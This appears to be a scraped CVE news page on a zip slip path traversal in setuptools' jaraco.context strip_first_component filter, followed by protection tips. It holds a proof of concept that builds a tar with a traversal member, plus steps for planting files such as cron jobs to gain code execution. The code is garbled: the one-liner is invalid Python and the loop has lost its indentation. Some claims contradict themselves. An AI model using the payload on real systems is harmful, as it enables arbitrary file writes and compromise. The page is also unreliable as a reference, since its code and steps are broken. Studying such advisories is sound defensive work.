Python setuptools, Zip Slip Path Traversal Vulnerability (Critical)

Listen to this Post

The vulnerability resides in the `strip_first_component` filter function within setuptools._vendor.jaraco.context. This function is designed to remove the first directory component from a tar archive member’s path (e.g., transforming `dummy_dir/file.txt` to file.txt). It does this by splitting the path on the first /. However, it fails to sanitize path traversal sequences (../) before or after this split. A malicious archive entry like `dummy_dir/../../etc/passwd` is split at the first slash, and the function returns the second component, which becomes ../../etc/passwd. This tainted path is then passed to tarfile.extractall(), leading to file extraction outside the intended target directory. On Python 3.12+, which has a secure default tar extraction filter, using this custom filter overwrites the native protection, reintroducing the vulnerability.
Platform: Python setuptools (jaraco.context)
Version: All versions
Vulnerability : Arbitrary file write
Severity: Critical
date: 2025-04-28

Prediction: 2025-06-15

What Undercode Say:

Create a malicious tar file for testing
python3 -c "import tarfile, io; t=io.BytesIO(); \
with tarfile.open(fileobj=t, mode='w') as tar: \
ti=tarfile.TarInfo(name='dummy_dir/../../../pwned'); ti.size=5; \
tar.addfile(ti, io.BytesIO(b'data')); \
open('malicious.tar','wb').write(t.getvalue())"
Proof-of-Concept core logic
from setuptools._vendor.jaraco.context import strip_first_component
import tarfile
with tarfile.open('malicious.tar', 'r') as tf:
for member in tf:
This filter enables the traversal
processed = strip_first_component(member, '/tmp/target')
print(f"Vulnerable transform: {member.name} -> {processed.name}")

How Exploit:

  1. Craft tar archive with traversal paths (e.g., pkg/../../etc/cron.d/job).

2. Serve archive to victim application using `jaraco.context.tarball()`.

  1. The vulnerable filter sanitizes path, enabling arbitrary file write.

4. Achieve remote code execution or system compromise.

Protection from this CVE

1. Avoid `strip_first_component` filter.

2. Use Python 3.12+ `’data’` tar filter.

3. Apply path sanitization before extraction.

4. Update setuptools post-patch.

Impact:

  • Arbitrary file overwrite.
  • Remote code execution.
  • Supply chain compromise.
  • System integrity loss.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top